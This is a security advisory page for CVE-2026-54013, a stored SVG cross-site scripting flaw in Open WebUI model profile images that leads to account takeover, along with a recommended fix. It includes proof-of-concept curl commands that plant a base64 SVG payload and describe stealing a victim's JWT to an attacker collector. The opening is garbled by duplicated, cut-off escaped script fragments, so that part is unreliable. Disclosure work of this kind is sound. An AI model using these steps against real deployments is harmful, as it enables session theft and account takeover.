VYPR
\n' | base64 -w0)\n\ncurl -s -X POST 'https://TARGET/api/v1/models/create' \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,$SVG\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo model\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n```\n\n**Step 2 Victim navigates to the image URL:**\n\n```\nhttps://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\n```\n\nThis happens naturally when a user right-clicks a model's avatar and selects \"Open Image in New Tab\", or when the attacker sends the URL directly (e.g., in a channel message).\n\n**Step 3 Token theft:**\n\nThe server responds:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\n \n\n```\n\nNo `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `\n\nEOF\nSVG_B64=$(printf '%s' \"$SVG\" | base64 -w0)\n\n# --- Step 2: Store the payload in a model's profile_image_url ---\ncurl -s -X POST \"${TARGET}/api/v1/models/create\" \\\n -H \"Authorization: Bearer ${ATTACKER_TOKEN}\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,${SVG_B64}\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n\n# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---\necho \"Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\"\n```\n\nExpected server response at Step 3 (the proof — SVG served inline, no defenses):\n\n```\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\n \n\n````\nNo X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the
High severityNVD Advisory· Published Jun 17, 2026· Updated Jun 17, 2026

Open WebUI: Stored XSS to Account Takeover via Model Profile Images

CVE-2026-54013

Description

# Stored XSS to Account Takeover via Model Profile Images in Open WebUI

Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc

---

TL;DR

Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.

---

Past of the issue

In early 2025, two security advisories landed for Open WebUI:

  • GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
  • GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images

The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded ` ' | base64 -w0)

curl -s -X POST 'https://TARGET/api/v1/models/create' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"base_model_id\": \"gpt-4\", \"meta\": { \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\", \"description\": \"Latest GPT-4 Turbo model\" }, \"params\": {}, \"access_grants\": [] }" `` **Step 2 Victim navigates to the image URL:** ``

https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview `` This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message). **Step 3 Token theft:** The server responds: ``http

HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline


No `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `

EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)

# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
  -H "Authorization: Bearer ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
      \"description\": \"Latest GPT-4 Turbo\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"

Expected server response at Step 3 (the proof — SVG served inline, no defenses):

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline


  

`

No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).

Trigger note: because the frontend loads model avatars in `` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.

Root

Cause

An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profile_image_url field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.

Recommended

Fix

Input side add the validator to ModelMeta:

# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url

class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    # ...

    @field_validator('profile_image_url', mode='before')
    @classmethod
    def check_profile_image_url(cls, v):
        if v is None:
            return v
        return validate_profile_image_url(v)

Output side add MIME check and nosniff to the serving endpoint:

# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
    return FileResponse(f'{STATIC_DIR}/favicon.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',
    },
)

Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
open-webuiPyPI
< 0.9.60.9.6

Affected products

1

Patches

Vulnerability mechanics

References

2

News mentions

1